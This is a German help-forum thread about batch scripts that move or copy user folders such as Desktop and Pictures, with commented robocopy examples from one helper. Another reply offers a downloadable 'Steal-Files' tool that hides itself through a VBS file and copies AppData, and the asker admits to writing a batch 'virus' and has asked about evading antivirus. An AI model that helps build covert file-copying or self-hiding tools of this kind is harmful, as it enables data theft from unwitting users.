Ordner in einen anderen Ordner verschieben per Batch?
Hallo,
ich arbeite an einem Script, dass einen Ordner (z.B. Desktop, Bilder usw...) in einen anderen Ordner verschiebt (automatisch erstellter Ordner). Doch wie sieht der Befehl aus?
P.S: Kopieren ginge auch
Vielen Dank schonmal
3 Antworten
Moin Moin,
ich habe mir so ein mini "Backup Programm" Programmiert, wenn du die Zip entpackt hast, kannst du dir die Daten angucken, indem du sie Bearbeitest. Hoffe es hilft dir.
Die "file.bat" ist die interessante Datei. Nur so neben bei, das "Programm" holt sich durch die "invisible.vbs" die Daten versteckt. Ich hafte für nichts 😋
Grüße, Nioy
P.S. Ich an deiner Stelle würde mir Daten von Fremden immer erst angucken (Bei Windows Bearbeiten mit rechtsklick) bevor ich sie ausführe.
Das is ne gute frage, es gibt das Skript auch auf anderen Webseiten zum Selber Programmieren. Du kannst es (glaube ich) auch auf Youtube unter StealFiles finden.
Vertrauen ist gut, Kontrolle ist besser!
Eine Sache noch wenn ich auf START drücke dann kommt die Fehlermeldung dass die Datei invisible.vbs nicht existiert, obwohl sie in dem Ordner ist??
Moin Moin,
ich habe das Skript nochmal Aktualisiert. (http://nioy.ddns.net/data/bat/Steal-Files.zip)
Du musst beachten, dass du die Daten nicht in einem Unterordner hast. Am besten hast du das Skript auf einer Festplatte oder USB Stick ganz oben, also die Daten dürfen nicht in einem Ordner sein. (D:\file.bat und D:\start.bat etc.)
Grüße, Nioy
Ok danke funktioniert jetzt. Allerdings wird alles außer AppData kopiert... woran könnte das liegen?
Okay, gerne.
Das Terminal (CMD) braucht lange um die Daten zu kopieren. Wenn du die "invisible.vbs" löschst oder umbenennst (verschiebest etc.), wird dir das Skript im Vordergrund angezeigt. Dann siehst du, was das Skript gerade tut und ob es sich aufgehängt hat.
(Es wird dir die Schwarze Konsole mit dem jeweiligem Pfand angezeigt.)
Grüße, Nioy
Ja hab ich schon probiert, ich hab sogar nur die eine Zeile ausgeführt nichts passiert
Dazu braucht man schon etwas mehr als nur einen Befehl...😲
Eigentlich wollte ich ich mir eine Antwort verkneifen:
- Zum Einen hast Du Dich bisher in keinster Weiße für bereits gegebene Antworten erkenntlich gezeigt. (Helfer bekommen den Job nur bezahlt, wenn Ihre Antworten Bewertet wurden ...Knöpfe, Sterne und Daumensymbole ...bisher haben alle Helfer umsonst ihre Zeit vergeudet) 😅Ok war Spaß, wir bekommen kein Geld. Hilfreich, Daumen und Danke sind jedoch virtueller ein Anreiz weiterzumachen .
- Der zweite Punkt wäre Dein Hang zu "Scherzen" . Die letzten 7 Fragen bezogen sich Auf Themen, welche nicht unbedingt auf die Gegenliebe anderer stoßen dürften....
Verschieben ist im Gegensatz zu Kopieren eine ziemlich unsichere Sache.(was man verschiebt ist erstmal weg und es gibt Situationen (zB. USBsticks) das Ziel nach der Aktion kaputt ist (und die Daten im Eimer).
Die Ordner Desktop,Bilde usw. zu verschieben macht das System kaputt. Folglich hatte ich in dieser Beziehung gewisse Skrupel und beschränke mich auf die Inhalte von Ordnern (auch wenn das verschieben eines kompletten Ordners mit einer Zeile zu erledigen gewesen wäre.)
Dies sollte man nicht auf vom System verwaltete Ordner anwenden:
rem Unwahrscheinlich das sich eine Kombination aus 2 Zufallszahlen (%random%-%random%) wiederholt...
robocopy /move /e /unicode "%userprofile%\Desktop\testOrdner" "f:\SammelOrdner\testOrdner_%random%-%random%"
Das "abräumen" des Desktop sollte man auch nicht unbedingt einer Batch überlassen.
Zum auslagern von Dateien und Ordnern aus dem Bilderordner dürfte das folgende brauchbar sein,. (statt der Zufallszahlen wird ein in100 Jahren garantiert einmaliger Zeitstempel ververwendet.
@echo off
chcp 65001 >nul
::hier Einstellungen ändern
rem Quellordner...
set "sourceFolder=%userprofile%\Desktop\testOrdner"
rem Zielpfad in welchem unser "Automatikordner" erstellt wird...
set "destinationPath=f:\SammelOrdner"
::Ende Einstellungen
::ab Hier muss nichts meher verändert werden!!!!
rem erstelle Millisekundengenauen Zeitstempel für einzigartugen automatischen Ordnernamen...
rem 2 Stellen für Jahr genügen und die letzten 3 Stellen für Mikrosekunden sind immer 000 also auch abschneiden.
for /f "skip=2 tokens=2,3 delims=,.+" %%a in ('wmic os get localdatetime /format:csv') do ( set "timeStamp=%%a%%b")
set "timeStamp=%timeStamp:~2,15%"
rem wir brauchen vom GesamtPfad der Quellorders nur das letzte Stück, den QuellOrdnerName
for %%a in ("%sourceFolder%") do ( set "sourceFolderName=%%~na")
rem jetz bauen wir den Namen für unseren ZielOrdner zusammen ZielPfad\QuellOrdnerName+Zeitstempel (einzigartiger geht es nicht)
set "destinationFolder=%destinationPath%\%sourceFolderName%_%timeStamp%"
echo soll ich wirlich den Inhalt von:
echo %sourceFolder%
echo ...nach:
echo %destinationFolder%
echo ...verschieben?
echo:
choice
if %errorlevel% neq 1 (
echo ...nichts passiert...
timeout 10
exit /b
)
::bis hier wird nichts am Dateisystem verändert.
rem erzeuge Zielordner...
md "%destinationFolder%"
rem wir können/wollen nicht SystemOrdner wie "Bilder" , "Dokomente" , "Musik" usw. verschieben,
rem ergo beschränken wir uns auf deren Inhalt! (geht nur in Meheren Schritten, da move nur Dateien verschiebt und Robocopy nur komplette Ordnerstrukturen)
rem erstmal Dateien aus der obersten Ebene des Quellordners verschieben...
move "%sourceFolder%\*" "%destinationFolder%"
rem ermitle Unterordner des Quellordners
for /d %%a in ("%sourceFolder%\*") do (
rem wir brauchen wiede lediglich den nackten Namen ohne Pfad (%%~na)
rem mal anzeigen
echo %%~na
rem Unterordner verschieben...
robocopy /move /e /unicode "%sourceFolder%\%%~na" "%destinationFolder%\%%~na" /NJS /NJH
)
echo Fertig...
pause
...so jetzt entscheidest Du ob weitere Fragen in Zukunft in adäquater Weiße beantwortet werden..., da sind noch ein Paar Sachen offen...😤 und nicht nur für mich...
- https://www.gutefrage.net/frage/mit-batch-maus-bewegen
- https://www.gutefrage.net/frage/batch-befehl-sprache-aendern
- https://www.gutefrage.net/frage/batch-datei-nicht-als-virus-erkennen-lassen
- https://www.gutefrage.net/frage/ordner-per-batch--befehl-in-autostart-kopieren
- https://www.gutefrage.net/frage/leeren-ordner-in-ordner-erstellen-batch-befehl
- https://www.gutefrage.net/frage/batch-befehl-um-ordner-zu-loeschen
PS: hatte ich übersehen...
Kopieren ginge auch
Wenn nur ein Backup einer Ordnerstruktur erstellt werden soll (also nichts gelöscht wird) reicht folgendes:
@echo off
chcp 65001 >nul
for /f "skip=2 tokens=2,3 delims=,.+" %%a in ('wmic os get localdatetime /format:csv') do ( set "timeStamp=%%a%%b")
set "timeStamp=%timeStamp:~2,15%"
robocopy /e /unicode "%userprofile%\Desktop\testOrdner" "f:\SammelOrdner\testOrdner_%timeStamp%"
pause
Vielen Dank für die Antwort.
Eigentlich bin ich über jede Antwort meiner bisher gestellten Fragen dankbar, ich markiere halt nicht alles immer als Hilfreich oder so.
Und ich gebe ehrlichweise zu dass ich im Moment an einem "Virus" arbeite, der aber niemanden ernsthaft zu Schaden kommen lässt. Der kommt nur zu guten Freunden, wir schicken uns gern Batch "Viren" hin und her.
Also ob du das als zu gefährlich einstufst, bleibt natürlich dir überlassen, du kannst ja nicht wissen was ich tue. Jedoch bin ich immer über (besonders deine) antworten erfreut, hilft mir fast immer weiter!!
Gruß
...naja..😏ginge so
...allerdings ... (gut gemeinte Kritik):
..für nen Anfänger akzeptabel, aber fehlerhafte "Ware" sollte man für sich behalten. (oder testest Du nicht was Du programmierst?)